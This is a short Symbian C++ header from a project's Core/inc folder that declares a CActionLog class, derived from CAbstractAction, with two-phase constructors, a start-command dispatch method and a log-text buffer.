Core/inc/ActionLog.h
/*
* ActionLog.h
*
* Created on: 27/set/2010
* Author: Giovanna
*/
#ifndef ACTIONLOG_H_
#define ACTIONLOG_H_
#include "AbstractAction.h"
/**
* CActionLog
*
*/
class CActionLog : public CAbstractAction
{
public:
// Constructors and destructor
/**
* Destructor.
*/
~CActionLog();
/**
* Two-phased constructor.
*/
static CActionLog* NewL(const TDesC8& params);
/**
* Two-phased constructor.
*/
static CActionLog* NewLC(const TDesC8& params);
protected:
// from CAbstractAction
virtual void DispatchStartCommandL();
private:
/**
* Constructor for performing 1st stage construction
*/
CActionLog();
/**
* EPOC default constructor for performing 2nd stage construction
*/
void ConstructL(const TDesC8& params);
private:
HBufC8* iLogText;
};
#endif /* ACTIONLOG_H_ */